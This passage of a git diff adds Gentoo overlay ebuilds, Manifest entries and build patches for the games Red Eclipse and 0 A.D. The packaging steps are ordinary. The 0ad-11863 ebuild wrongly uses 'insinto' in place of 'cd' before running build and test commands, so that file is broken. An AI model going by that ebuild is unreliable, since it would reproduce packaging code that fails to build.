a021dc223a2948ee693e5fa301bdca223ed29fbba42f5287ce21ce316b2de062 SHA512 d9c80829350791045e263a18f5c0576fa3c6ffc864b7cf376520651fbc0d972da3fee452ca80b4882e3010becda0aa9da17a13c15f6b7e2f384888519bbfed22 WHIRLPOOL c04077ada446deeffded688aa1532210ad9fec72c8aab3f39416aba0f6692689ba95479dc625631e00de098676ac2f2ca1e37cbe35979e3dfd98bd00517f84f1 +EBUILD redeclipse-1.3.1.ebuild 1461 SHA256 1b6632c1c3e5905877c36c4c71cbdd023ed438ecbde2acc2854a1d5235695f0a SHA512 c3534a8510d18bb50cfc210faa63d295a3499ee613dc092152ea03feba1dd1cf837802cd3ab8071855848b2b69b85d800af3aa988db53a279e723d3a4a3736ca WHIRLPOOL 4ceb226cd39da13d0ba8a3dd0013d2f4e655e127413190ab527f5ab346bd83ec225a8ec5f8fe4569e50012fbffbe36d05d5767c2c0c7ad642356e699b606728f diff --git a/games-fps/redeclipse/redeclipse-1.1.ebuild b/games-fps/redeclipse/redeclipse-1.1.ebuild new file mode 100644 index 00000000..f3d0d8ef --- /dev/null +++ b/games-fps/redeclipse/redeclipse-1.1.ebuild @@ -0,0 +1,69 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit eutils games + +DESCRIPTION="First-person ego-shooter, built as a total conversion of Cube Engine 2" +HOMEPAGE="http://www.redeclipse.net/" +SRC_URI="mirror://sourceforge/${PN}/${PN}_${PV}_linux_bsd.tar.bz2" + +# According to license.txt file +LICENSE="as-is ZLIB CCPL-Attribution-ShareAlike-3.0" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="dedicated" + +DEPEND="!dedicated? ( + media-libs/libsdl[opengl] + media-libs/sdl-image[jpeg,png] + media-libs/sdl-mixer[mp3,vorbis] + virtual/opengl + x11-libs/libX11 + ) + net-libs/enet:1.3 + sys-libs/zlib +" +RDEPEND="${DEPEND}" + +S="${WORKDIR}"/${PN} + +src_prepare() { + # Respect GAMES_DATADIR + sed -i -e "s:\(addpackagedir(\"\)data:\1${GAMES_DATADIR}/${PN}/data:" \ + src/engine/server.cpp || die "sed failed" + + # Unbundle enet + sed -i \ + -e "s:\(client\)\: libenet:\1\::" \ + -e "s:\(server\)\: libenet:\1\::" \ + src/Makefile || die "sed failed" + + # Remove strip + sed -i "/STRIP=strip/d" src/Makefile || die "sed failed" +} + +src_compile() { + cd src + if ! use dedicated ; then + emake CXXFLAGS="${CXXFLAGS}" client server || die "Make failed" + else + emake CXXFLAGS="${CXXFLAGS}" server + fi +} + +src_install() { + newgamesbin src/reserver ${PN}-server || die + dodoc readme.txt + if ! use dedicated ; then + newgamesbin src/reclient ${PN} || die + insinto "${GAMES_DATADIR}"/${PN} + doins -r data + newicon src/site/bits/favicon.png ${PN}.png || die + make_desktop_entry ${PN} "Red Eclipse" ${PN} + fi + + prepgamesdirs +} diff --git a/games-fps/redeclipse/redeclipse-1.3.1.ebuild b/games-fps/redeclipse/redeclipse-1.3.1.ebuild new file mode 100644 index 00000000..dfab85be --- /dev/null +++ b/games-fps/redeclipse/redeclipse-1.3.1.ebuild @@ -0,0 +1,65 @@ +# Copyright 1999-2013 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit eutils games + +DESCRIPTION="First-person ego-shooter, built as a total conversion of Cube Engine 2" +HOMEPAGE="http://www.redeclipse.net/" +SRC_URI="mirror://sourceforge/${PN}/${PN}_${PV}_all.tar.bz2" + +LICENSE="as-is ZLIB CCPL-Attribution-ShareAlike-3.0" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="dedicated" + +DEPEND="!dedicated? ( + media-libs/libsdl[opengl] + media-libs/sdl-image[jpeg,png] + media-libs/sdl-mixer[mp3,vorbis] + virtual/opengl + x11-libs/libX11 + ) + net-libs/enet:1.3 + sys-libs/zlib +" +RDEPEND="${DEPEND}" + +S="${WORKDIR}"/${P} + +src_prepare() { + cd "${S}" || die + sed -i -e "s:\(addpackagedir(\"\)data:\1${GAMES_DATADIR}/${PN}/data:" \ + src/engine/server.cpp || die "Sed failed" + + sed -i \ + -e "s:\(client\)\: libenet:\1\::" \ + -e "s:\(server\)\: libenet:\1\::" \ + src/Makefile || die "Sed failed" + + sed -i "/STRIP=strip/d" src/Makefile || die "Sed failed" +} + +src_compile() { + cd src || die + if ! use dedicated ; then + emake CXXFLAGS="${CXXFLAGS}" client server || die + else + emake CXXFLAGS="${CXXFLAGS}" server || die + fi +} + +src_install() { + newgamesbin src/reserver ${PN}-server || die + dodir "${GAMES_DATADIR}"/${PN}/ || die + insinto "${GAMES_DATADIR}"/${PN}/ || die + doins -r "${S}"/data || die + + dodoc readme.txt + if ! use dedicated ; then + newgamesbin src/reclient "${PN}" || die + fi + prepgamesdirs +} diff --git a/games-strategy/0ad/0ad-11339.ebuild b/games-strategy/0ad/0ad-11339.ebuild new file mode 100644 index 00000000..8ca568da --- /dev/null +++ b/games-strategy/0ad/0ad-11339.ebuild @@ -0,0 +1,150 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="3" + +inherit eutils wxwidgets games + +MY_P="0ad-r${PV}-alpha" +S="${WORKDIR}/${MY_P}" + +DESCRIPTION="0 A.D. is a free, real-time strategy game currently under development by Wildfire Games." +HOMEPAGE="http://wildfiregames.com/0ad/" +SRC_URI="mirror://sourceforge/zero-ad/${MY_P}-unix-build.tar.xz + mirror://sourceforge/zero-ad/${MY_P}-unix-data.tar.xz" + +LICENSE="GPL-2 CCPL-Attribution-ShareAlike-3.0" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="debug editor nvtt pch test fam" + +RDEPEND=">=dev-lang/spidermonkey-1.8.5 + dev-libs/boost + dev-libs/libxml2 + media-libs/devil + media-libs/openal + media-libs/libogg + media-libs/libpng + media-libs/libsdl[X,joystick] + media-libs/libvorbis + net-libs/enet:1.3 + net-misc/curl + sys-libs/zlib + virtual/jpeg + virtual/opengl + fam? ( virtual/fam ) + editor? ( x11-libs/wxGTK:2.8 ) + nvtt? ( dev-util/nvidia-texture-tools )" + +DEPEND="${RDEPEND} + app-arch/zip + dev-lang/nasm + dev-util/cmake" + +RESTRICT="strip mirror" + +dir=${GAMES_PREFIX_OPT}/${PN} + +pkg_setup() { + games_pkg_setup + if use editor ; then + WX_GTK_VER=2.8 need-wxwidgets unicode + fi +} + +src_prepare() { + cd "${S}" || die + epatch "${FILESDIR}"/r11339_noCUDAdep.diff +} + +src_compile() { + UPDATE_ARGS="--with-system-enet --with-system-mozjs185" + + if ! use pch ; then + UPDATE_ARGS="${UPDATE_ARGS} --without-pch" + fi + + if ! use fam ; then + UPDATE_ARGS="${UPDATE_ARGS} --without-fam" + fi + + if ! use editor ; then + UPDATE_ARGS="${UPDATE_ARGS} --disable-atlas" + fi + + if use nvtt ; then + UPDATE_ARGS="${UPDATE_ARGS} --with-system-nvtt" + else + UPDATE_ARGS="${UPDATE_ARGS} --without-nvtt" + fi + + cd "${S}/build/workspaces" + einfo "Running update-workspaces.sh with ${UPDATE_ARGS}" + ./update-workspaces.sh ${UPDATE_ARGS} || die "update-workspaces.sh failed" + cd gcc + + TARGETS="pyrogenesis Collada" + if use test ; then + TARGETS="${TARGETS} test" + fi + if use editor ; then + TARGETS="${TARGETS} AtlasUI" + fi + if use debug ; then + CONFIG=Debug + else + CONFIG=Release + fi + CONFIG=${CONFIG} emake ${TARGETS} || die "Can't build" +} + +src_test() { + cd "${S}/binaries/system" + if use debug ; then + ./test_dbg || die "Tests failed" + else + ./test || die "Tests failed" + fi +} + +src_install() { + cd "${S}"/binaries + insinto "${dir}" + doins -r data || die "doins -r failed" + + insinto "${dir}"/system + + #we install build-in nvtt + if use !nvtt ; then + doins "${S}"/binaries/system/libnvcore.so || die "doins failed" + doins "${S}"/binaries/system/libnvimage.so || die "doins failed" + doins "${S}"/binaries/system/libnvmath.so || die "doins failed" + doins "${S}"/binaries/system/libnvtt.so || die "doins failed" + fi + + if use debug ; then +# doins "${S}"/binaries/system/libmozjs185-ps-debug.so.1.0 || die "doins failed" + doins "${S}"/binaries/system/libCollada_dbg.so || die "doins failed" + if use editor ; then + doins "${S}"/binaries/system/libAtlasUI_dbg.so || die "doins failed" + fi + EXE_NAME=pyrogenesis_dbg + else +# doins "${S}"/binaries/system/libmozjs185-ps-release.so.1.0 || die "doins failed" + doins "${S}"/binaries/system/libCollada.so || die "doins failed" + if use editor ; then + doins "${S}"/binaries/system/libAtlasUI.so || die "doins failed" + fi + EXE_NAME=pyrogenesis + fi + + exeinto "${dir}"/system + doexe "${S}"/binaries/system/${EXE_NAME} || die "doexe failed" + + games_make_wrapper ${PN} ./system/${EXE_NAME} ${dir} + doicon "${S}"/build/resources/0ad.png + make_desktop_entry "${dir}"/system/${EXE_NAME} "0 A.D." + + prepgamesdirs +} diff --git a/games-strategy/0ad/0ad-11863.ebuild b/games-strategy/0ad/0ad-11863.ebuild new file mode 100644 index 00000000..a0f567c1 --- /dev/null +++ b/games-strategy/0ad/0ad-11863.ebuild @@ -0,0 +1,145 @@ +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="3" + +inherit eutils wxwidgets games + +MY_P="0ad-r${PV}-alpha" +S="${WORKDIR}/${MY_P}" + +DESCRIPTION="0 A.D. is a free, real-time strategy game currently under development by Wildfire Games." +HOMEPAGE="http://wildfiregames.com/0ad/" +SRC_URI="mirror://sourceforge/zero-ad/${MY_P}-unix-build.tar.xz + mirror://sourceforge/zero-ad/${MY_P}-unix-data.tar.xz" + +LICENSE="GPL-2 CCPL-Attribution-ShareAlike-3.0" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="debug editor nvtt pch test fam" + +RDEPEND=">=dev-lang/spidermonkey-1.8.5 + dev-libs/boost + dev-libs/libxml2 + media-libs/devil + media-libs/openal + media-libs/libogg + media-libs/libpng + media-libs/libsdl[X,joystick] + media-libs/libvorbis + net-libs/enet:1.3 + net-misc/curl + sys-libs/zlib + virtual/jpeg + virtual/opengl + fam? ( virtual/fam ) + editor? ( x11-libs/wxGTK:2.8 ) + nvtt? ( dev-util/nvidia-texture-tools )" + +DEPEND="${RDEPEND} + app-arch/zip + dev-lang/nasm + dev-util/cmake" + +RESTRICT="strip mirror" + +dir=${GAMES_PREFIX_OPT}/${PN} + +pkg_setup() { + games_pkg_setup + if use editor ; then + WX_GTK_VER=2.8 need-wxwidgets unicode + fi +} + +src_compile() { + UPDATE_ARGS="--with-system-enet --with-system-mozjs185" + + if ! use pch ; then + UPDATE_ARGS="${UPDATE_ARGS} --without-pch" + fi + + if ! use fam ; then + UPDATE_ARGS="${UPDATE_ARGS} --without-fam" + fi + + if ! use editor ; then + UPDATE_ARGS="${UPDATE_ARGS} --disable-atlas" + fi + + if use nvtt ; then + UPDATE_ARGS="${UPDATE_ARGS} --with-system-nvtt" + else + UPDATE_ARGS="${UPDATE_ARGS} --without-nvtt" + fi + + insinto "${S}/build/workspaces" + einfo "Running update-workspaces.sh with ${UPDATE_ARGS}" + ./update-workspaces.sh ${UPDATE_ARGS} || die "update-workspaces.sh failed" + insinto gcc + + TARGETS="pyrogenesis Collada" + if use test ; then + TARGETS="${TARGETS} test" + fi + if use editor ; then + TARGETS="${TARGETS} AtlasUI" + fi + if use debug ; then + CONFIG=Debug + else + CONFIG=Release + fi + CONFIG=${CONFIG} emake ${TARGETS} || die "Can't build" +} + +src_test() { + insinto "${S}/binaries/system" + if use debug ; then + ./test_dbg || die "Tests failed" + else + ./test || die "Tests failed" + fi +} + +src_install() { + insinto "${S}"/binaries + insinto "${dir}" + doins -r data || die "doins -r failed" + + insinto "${dir}"/system + + #we install build-in nvtt + if use !nvtt ; then + doins "${S}"/binaries/system/libnvcore.so || die "doins failed" + doins "${S}"/binaries/system/libnvimage.so || die "doins failed" + doins "${S}"/binaries/system/libnvmath.so || die "doins failed" + doins "${S}"/binaries/system/libnvtt.so || die "doins failed" + fi + + if use debug ; then +# doins "${S}"/binaries/system/libmozjs185-ps-debug.so.1.0 || die "doins failed" + doins "${S}"/binaries/system/libCollada_dbg.so || die "doins failed" + if use editor ; then + doins "${S}"/binaries/system/libAtlasUI_dbg.so || die "doins failed" + fi + EXE_NAME=pyrogenesis_dbg + else +# doins "${S}"/binaries/system/libmozjs185-ps-release.so.1.0 || die "doins failed" + doins "${S}"/binaries/system/libCollada.so || die "doins failed" + if use editor ; then + doins "${S}"/binaries/system/libAtlasUI.so || die "doins failed" + fi + EXE_NAME=pyrogenesis + fi + + exeinto "${dir}"/system + doexe "${S}"/binaries/system/${EXE_NAME} || die "doexe failed" + + games_make_wrapper ${PN} ./system/${EXE_NAME} ${dir} + doicon "${S}"/build/resources/0ad.png + make_desktop_entry "${dir}"/system/${EXE_NAME} "0 A.D." + + prepgamesdirs +} diff --git a/games-strategy/0ad/0ad-99999.ebuild b/games-strategy/0ad/0ad-99999.ebuild new file mode 100644 index 00000000..aaa10c2e --- /dev/null +++ b/games-strategy/0ad/0ad-99999.ebuild @@ -0,0 +1,115 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +WX_GTK_VER="2.8" + +inherit eutils subversion wxwidgets games + +MY_PV="r${PV%_*}-alpha" +MY_P=${PN}-${MY_PV} + +DESCRIPTION="A free, real-time strategy game" +HOMEPAGE="http://wildfiregames.com/0ad/" +ESVN_REPO_URI="http://svn.wildfiregames.com/public/ps/trunk" + +LICENSE="GPL-2 LGPL-2.1 MIT CCPL-Attribution-ShareAlike-3.0 as-is" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="+audio +editor fam +pch test" + +RDEPEND=" + ~dev-lang/spidermonkey-1.8.5 + dev-libs/boost + dev-libs/libxml2 + media-gfx/nvidia-texture-tools + !games-strategy/0ad-data + media-libs/libpng:0 + media-libs/libsdl[X,opengl,video] + net-libs/enet:1.3 + net-misc/curl + sys-libs/zlib + virtual/jpeg + virtual/opengl + audio? ( media-libs/libogg + media-libs/libvorbis + media-libs/openal ) + editor? ( x11-libs/wxGTK:$WX_GTK_VER[X,opengl] ) + fam? ( virtual/fam ) + " +DEPEND="${RDEPEND} + virtual/pkgconfig + test? ( dev-lang/perl )" + +S=${WORKDIR}/trunk + +pkg_setup() { + games_pkg_setup + + if ! use pch ; then + eerror "pch useflag is potentially broken" + eerror "see http://trac.wildfiregames.com/ticket/1313" + fi +} + +src_unpack() { + subversion_src_unpack +} + +src_configure() { + cd build/workspaces || die + + # custom configure script + local myconf + use fam || myconf="--without-fam" + use pch || myconf="${myconf} --without-pch" + use test || myconf="${myconf} --without-tests" + use audio || myconf="${myconf} --without-audio" + + # don't use bundled sources + ./update-workspaces.sh \ + --with-system-nvtt \ + --with-system-enet \ + --with-system-mozjs185 \ + $(use_enable editor atlas) \ + --bindir="${GAMES_BINDIR}" \ + --libdir="$(games_get_libdir)"/${PN} \ + --datadir="${GAMES_DATADIR}"/${PN} \ + ${myconf} || die +} + +src_compile() { + emake -C build/workspaces/gcc verbose=1 || die +} + +src_test() { + cd binaries/system || die + ./test || die "test phase failed" +} + +src_install() { + # data + insinto "${GAMES_DATADIR}"/${PN} + doins -r binaries/data/* || die + + # bin + dogamesbin binaries/system/pyrogenesis || die + + # libs + exeinto "$(games_get_libdir)"/${PN} + doexe binaries/system/libCollada.so || die + if use editor ; then + doexe binaries/system/libAtlasUI.so || die + fi + + # other + dodoc binaries/system/readme.txt || die + doicon build/resources/${PN}.png || die + games_make_wrapper ${PN} "${GAMES_BINDIR}/pyrogenesis" + make_desktop_entry ${PN} ${PN} ${PN} + + # permissions + prepgamesdirs +} diff --git a/games-strategy/0ad/Manifest b/games-strategy/0ad/Manifest new file mode 100644 index 00000000..3e05d3e8 --- /dev/null +++ b/games-strategy/0ad/Manifest @@ -0,0 +1,11 @@ +AUX 11339_alpha_disable_nvtt.patch 0 SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e WHIRLPOOL 19fa61d75522a4669b44e39c1d2e1726c530232130d407f89afee0964997f7a73e83be698b288febcf88e3e03c4f0757ea8964e59b63d93708b138cc42a66eb3 +AUX premake-archless.patch 1560 SHA256 85fc1ad2ef098d181f26fd78038ad90f7e1e2e948fe903664747494d129a3083 SHA512 df4cedfa2709b248a257d0634ba2e1013cf517fb5e46cb6472a3e87782686a1d8aeb066b23eb3008434fd2108865a5c6dd15fb3964af9074a611ca7202e8d5b1 WHIRLPOOL 78e2b482769ac07c219eec0fe99210cb723b16ae2d414dd5dfe6dde6d874013e8f707c2d16404a0517517ca1754fc1f203e7d2b8d152b25fd5366dc82c959f75 +AUX premake-script-archless.patch 1582 SHA256 0904c211595919bab0367b5e86c218a01b42c96df4b49c47a03c125ed3a2aada SHA512 987c3ee5387e040dc3b1c492e4191fce1532f6b2eae288a15246fdaee8e17d81dbd7cdc524bdcc0036a32bfce11f4d6eae014d05d5dbba148eafbea0627498c8 WHIRLPOOL 0f906f81a139da1aedcf325cfa60c5de00bd76c40bf95b9206350721341fb93a3deb0e681e4900a0c343cc9ebf7ae5e21522b247e0c202bbbd86830467bf4b34 +AUX r11339_noCUDAdep.diff 11782 SHA256 b334acff6a9d122fbaec92bf9146c7fd9c54d0f0babcf36554e6114ec67ac9aa SHA512 bc1cfb546e7bd04a4e8c22dce23a9fba00339eb4e7cdfb16bb9ec304fed5c6347cd79f751d7381a150c778408808b0492ce51130c4fa1ce2231f1d44fa89d524 WHIRLPOOL ef329815d3fd8155c9d26a96d7c05e873737c10b1492cd1d817db4c23dee7118525744f1c3194902054f776a7fac5992d35a2aca22966252f1cf4fe646bf3c4d +DIST 0ad-r11339-alpha-unix-build.tar.xz 8593664 SHA256 1e69bc02c1af1bfbe30244467761d13e1aaff164fe583d962cc8e13faf4a56cb +DIST 0ad-r11339-alpha-unix-data.tar.xz 294663484 SHA256 ac4cb17478eed633e1b0c975b052706797628fac399147d6301c4001100170b4 +DIST 0ad-r11863-alpha-unix-build.tar.xz 8657204 SHA256 46c08d380ce098d3d8f577d04d602bb245dfbb7f7da7b1ad009e7a0d4751435f +DIST 0ad-r11863-alpha-unix-data.tar.xz 310994700 SHA256 76702023402361d27b61eea37034b08e9e19b282e4cdd69954495d2dd087b90a +EBUILD 0ad-11339.ebuild 3547 SHA256 30a65b31a9e1353c30b3a642f4437f0e4be440de15fd6eb1d2a79959ef279d66 SHA512 cab0a342c5d3c65aaebf282d990e65c6255ed5748ec54e51f87bf05d8cdd73b42e0126021d190e1abb3dece877124dc239dcf17043f34d9969847e247a17b177 WHIRLPOOL da04b4bb99647a8047ca44a901a95e67c940e3cf0979f0937d9acec92ab28b320081158e36356ef4f82383fac92063608a53e3c03059cf99c2b38d733ff80bb4 +EBUILD 0ad-11863.ebuild 3486 SHA256 f4351f00f0b233f368b8792c362156a54ef480ab41ed0772d051a8b49de8e5a7 SHA512 95e82f67d8e51f54cbd7646f74e94076df4860724fa8352ef788d05ad760c13b6755a846355281d2e543a06ee9258bf6c5605df59a76f4941632fd7be6371680 WHIRLPOOL be7ccc427e39bf7a99cbd9fd824b9ed2e534dc364ef935e2d76feea3db34eca3a93dedcbc71120e73df9452cfccdd36ce71d200fd0d0ab45a1b6954e73ac13c4 +EBUILD 0ad-99999.ebuild 2452 SHA256 0162fc58b4c74ec12012ab80289cdd0241238f26384a64b9c7432b443c6dd3b7 SHA512 1033f33deb6783baac775169f76b12a53617ac31454e86e3c4eb7642612f2c0bbe2a92544bba4a016fe6f77d856ecd091f48134387c1286e97f309e708b5584d WHIRLPOOL 46fac08559d6be536455f485916b8864c3150c1387712289ef0f2acdcb2527cee00d27f437c2d58b8a6c1414181d094a3312afd29098398daae68ec44d5f355e diff --git a/games-strategy/0ad/files/11339_alpha_disable_nvtt.patch b/games-strategy/0ad/files/11339_alpha_disable_nvtt.patch new file mode 100644 index 00000000..e69de29b diff --git a/games-strategy/0ad/files/premake-archless.patch b/games-strategy/0ad/files/premake-archless.patch new file mode 100644 index 00000000..2b87d048 --- /dev/null +++ b/games-strategy/0ad/files/premake-archless.patch @@ -0,0 +1,36 @@ +diff -Naur build/premake/premake4.orig/build/gmake.unix/Premake4.make build/premake/premake4/build/gmake.unix/Premake4.make +--- build/premake/premake4.orig/build/gmake.unix/Premake4.make 2010-11-16 06:29:14.000000000 -0500 ++++ build/premake/premake4/build/gmake.unix/Premake4.make 2011-04-18 07:24:59.374986001 -0400 +@@ -26,13 +26,12 @@ + DEFINES += -DNDEBUG -DLUA_USE_POSIX -DLUA_USE_DLOPEN + INCLUDES += -I../../src/host/lua-5.1.4/src + CPPFLAGS += -MMD -MP $(DEFINES) $(INCLUDES) +- CFLAGS += $(CPPFLAGS) $(ARCH) -Wall -Os +- CXXFLAGS += $(CFLAGS) +- LDFLAGS += -s -rdynamic ++ CFLAGS += $(CPPFLAGS) -Wall ++ LDFLAGS += -rdynamic + LIBS += -lm -ldl + RESFLAGS += $(DEFINES) $(INCLUDES) + LDDEPS += +- LINKCMD = $(CC) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) $(ARCH) $(LIBS) ++ LINKCMD = $(CC) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) $(LIBS) + define PREBUILDCMDS + endef + define PRELINKCMDS +@@ -48,13 +47,12 @@ + DEFINES += -D_DEBUG -DLUA_USE_POSIX -DLUA_USE_DLOPEN + INCLUDES += -I../../src/host/lua-5.1.4/src + CPPFLAGS += -MMD -MP $(DEFINES) $(INCLUDES) +- CFLAGS += $(CPPFLAGS) $(ARCH) -Wall -g +- CXXFLAGS += $(CFLAGS) ++ CFLAGS += $(CPPFLAGS) -Wall -g + LDFLAGS += -rdynamic + LIBS += -lm -ldl + RESFLAGS += $(DEFINES) $(INCLUDES) + LDDEPS += +- LINKCMD = $(CC) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) $(ARCH) $(LIBS) ++ LINKCMD = $(CC) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) $(LIBS) + define PREBUILDCMDS + endef + define PRELINKCMDS diff --git a/games-strategy/0ad/files/premake-script-archless.patch b/games-strategy/0ad/files/premake-script-archless.patch new file mode 100644 index 00000000..7195feb9 --- /dev/null +++ b/games-strategy/0ad/files/premake-script-archless.patch @@ -0,0 +1,31 @@ +--- build/premake/premake4/src/actions/make/make_cpp.lua.orig 2011-12-17 20:59:29.000000000 +0800 ++++ build/premake/premake4/src/actions/make/make_cpp.lua 2011-12-25 07:27:40.268759001 +0800 +@@ -248,7 +248,7 @@ + -- set up precompiled headers + _.pchconfig(cfg) + +- _p(' CFLAGS += $(CPPFLAGS) $(ARCH) %s', table.concat(table.join(cc.getcflags(cfg), cfg.buildoptions), " ")) ++ _p(' CFLAGS += $(CPPFLAGS) %s', table.concat(table.join(cc.getcflags(cfg), cfg.buildoptions), " ")) + _p(' CXXFLAGS += $(CFLAGS) %s', table.concat(cc.getcxxflags(cfg), " ")) + _p(' LDFLAGS += %s', table.concat(table.join(cc.getldflags(cfg), cfg.linkoptions, cc.getlibdirflags(cfg)), " ")) + _p(' LIBS += %s %s', table.concat(cc.getlinkflags(cfg), " "), table.concat(cfg.gnuexternals, " ")) +@@ -272,7 +272,7 @@ + else + lddeps = '-Xlinker --start-group $(LDDEPS) -Xlinker --end-group' + end +- _p(' LINKCMD = $(%s) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) $(ARCH) %s $(LIBS)', ++ _p(' LINKCMD = $(%s) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) %s $(LIBS)', + iif(cfg.language == "C", "CC", "CXX"), lddeps) + end + +--- build/workspaces/update-workspaces.sh.orig 2011-11-15 00:10:41.000000000 +0800 ++++ build/workspaces/update-workspaces.sh 2011-12-25 07:30:39.729759000 +0800 +@@ -62,6 +62,8 @@ + # Now build premake and run it to create the makefiles + cd ../premake/premake4 + make -C build/gmake.unix ${JOBS} || die "Premake build failed" ++./bin/release/premake4 embed ++make -C build/gmake.unix ${JOBS} || die "Premake build failed" + + echo + diff --git a/games-strategy/0ad/files/r11339_noCUDAdep.diff b/games-strategy/0ad/files/r11339_noCUDAdep.diff new file mode 100644 index 00000000..f002c823 --- /dev/null +++ b/games-strategy/0ad/files/r11339_noCUDAdep.diff @@ -0,0 +1,366 @@ +Index: /ps/trunk/libraries/nvtt/src/src/nvimage/CMakeLists.txt +=================================================================== +--- /ps/trunk/libraries/nvtt/src/src/nvimage/CMakeLists.txt (revision 11501) ++++ /ps/trunk/libraries/nvtt/src/src/nvimage/CMakeLists.txt (revision 11502) +@@ -63,6 +63,6 @@ + + INSTALL(TARGETS nvimage +- RUNTIME DESTINATION bin +- LIBRARY DESTINATION lib +- ARCHIVE DESTINATION lib/static) ++ RUNTIME DESTINATION ${BINDIR} ++ LIBRARY DESTINATION ${LIBDIR} ++ ARCHIVE DESTINATION ${LIBDIR}) + +Index: /ps/trunk/libraries/nvtt/src/src/nvtt/CMakeLists.txt +=================================================================== +--- /ps/trunk/libraries/nvtt/src/src/nvtt/CMakeLists.txt (revision 11501) ++++ /ps/trunk/libraries/nvtt/src/src/nvtt/CMakeLists.txt (revision 11502) +@@ -58,7 +58,7 @@ + + INSTALL(TARGETS nvtt +- RUNTIME DESTINATION bin +- LIBRARY DESTINATION lib +- ARCHIVE DESTINATION lib/static) ++ RUNTIME DESTINATION ${BINDIR} ++ LIBRARY DESTINATION ${LIBDIR} ++ ARCHIVE DESTINATION ${LIBDIR}) + + INSTALL(FILES nvtt.h DESTINATION include/nvtt) +Index: /ps/trunk/libraries/nvtt/src/src/nvcore/CMakeLists.txt +=================================================================== +--- /ps/trunk/libraries/nvtt/src/src/nvcore/CMakeLists.txt (revision 11501) ++++ /ps/trunk/libraries/nvtt/src/src/nvcore/CMakeLists.txt (revision 11502) +@@ -43,5 +43,5 @@ + + INSTALL(TARGETS nvcore +- RUNTIME DESTINATION bin +- LIBRARY DESTINATION lib +- ARCHIVE DESTINATION lib/static) ++ RUNTIME DESTINATION ${BINDIR} ++ LIBRARY DESTINATION ${LIBDIR} ++ ARCHIVE DESTINATION ${LIBDIR}) +Index: /ps/trunk/libraries/nvtt/src/src/CMakeLists.txt +=================================================================== +--- /ps/trunk/libraries/nvtt/src/src/CMakeLists.txt (revision 11501) ++++ /ps/trunk/libraries/nvtt/src/src/CMakeLists.txt (revision 11502) +@@ -6,4 +6,11 @@ + + INCLUDE_DIRECTORIES(${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR}) ++ ++# initial variables ++SET(GLUT TRUE CACHE BOOL "") ++SET(GLEW TRUE CACHE BOOL "") ++SET(CG TRUE CACHE BOOL "") ++SET(CUDA TRUE CACHE BOOL "") ++SET(OPENEXR TRUE CACHE BOOL "") + + # OpenGL +@@ -16,11 +23,13 @@ + + # GLUT +-INCLUDE(${NV_CMAKE_DIR}/FindGLUT.cmake) +-#INCLUDE(FindGLUT) +-IF(GLUT_FOUND) +- MESSAGE(STATUS "Looking for GLUT - found") +-ELSE(GLUT_FOUND) +- MESSAGE(STATUS "Looking for GLUT - not found") +-ENDIF(GLUT_FOUND) ++IF(GLUT) ++ INCLUDE(${NV_CMAKE_DIR}/FindGLUT.cmake) ++ #INCLUDE(FindGLUT) ++ IF(GLUT_FOUND) ++ MESSAGE(STATUS "Looking for GLUT - found") ++ ELSE(GLUT_FOUND) ++ MESSAGE(STATUS "Looking for GLUT - not found") ++ ENDIF(GLUT_FOUND) ++ENDIF(GLUT) + + # DirectX +@@ -33,27 +42,33 @@ + + # GLEW +-INCLUDE(${NV_CMAKE_DIR}/FindGLEW.cmake) +-IF(GLEW_FOUND) +- MESSAGE(STATUS "Looking for GLEW - found") +-ELSE(GLEW_FOUND) +- MESSAGE(STATUS "Looking for GLEW - not found") +-ENDIF(GLEW_FOUND) ++IF(GLEW) ++ INCLUDE(${NV_CMAKE_DIR}/FindGLEW.cmake) ++ IF(GLEW_FOUND) ++ MESSAGE(STATUS "Looking for GLEW - found") ++ ELSE(GLEW_FOUND) ++ MESSAGE(STATUS "Looking for GLEW - not found") ++ ENDIF(GLEW_FOUND) ++ENDIF(GLEW) + + # Cg +-INCLUDE(${NV_CMAKE_DIR}/FindCg.cmake) +-IF(CG_FOUND) +- MESSAGE(STATUS "Looking for Cg - found") +-ELSE(CG_FOUND) +- MESSAGE(STATUS "Looking for Cg - not found") +-ENDIF(CG_FOUND) ++IF(CG) ++ INCLUDE(${NV_CMAKE_DIR}/FindCg.cmake) ++ IF(CG_FOUND) ++ MESSAGE(STATUS "Looking for Cg - found") ++ ELSE(CG_FOUND) ++ MESSAGE(STATUS "Looking for Cg - not found") ++ ENDIF(CG_FOUND) ++ENDIF(CG) + + # CUDA +-INCLUDE(${NV_CMAKE_DIR}/FindCUDA.cmake) +-IF(CUDA_FOUND) +- SET(HAVE_CUDA ${CUDA_FOUND} CACHE BOOL "Set to TRUE if CUDA is found, FALSE otherwise") +- MESSAGE(STATUS "Looking for CUDA - found") +-ELSE(CUDA_FOUND) +- MESSAGE(STATUS "Looking for CUDA - not found") +-ENDIF(CUDA_FOUND) ++IF(CUDA) ++ INCLUDE(${NV_CMAKE_DIR}/FindCUDA.cmake) ++ IF(CUDA_FOUND) ++ SET(HAVE_CUDA 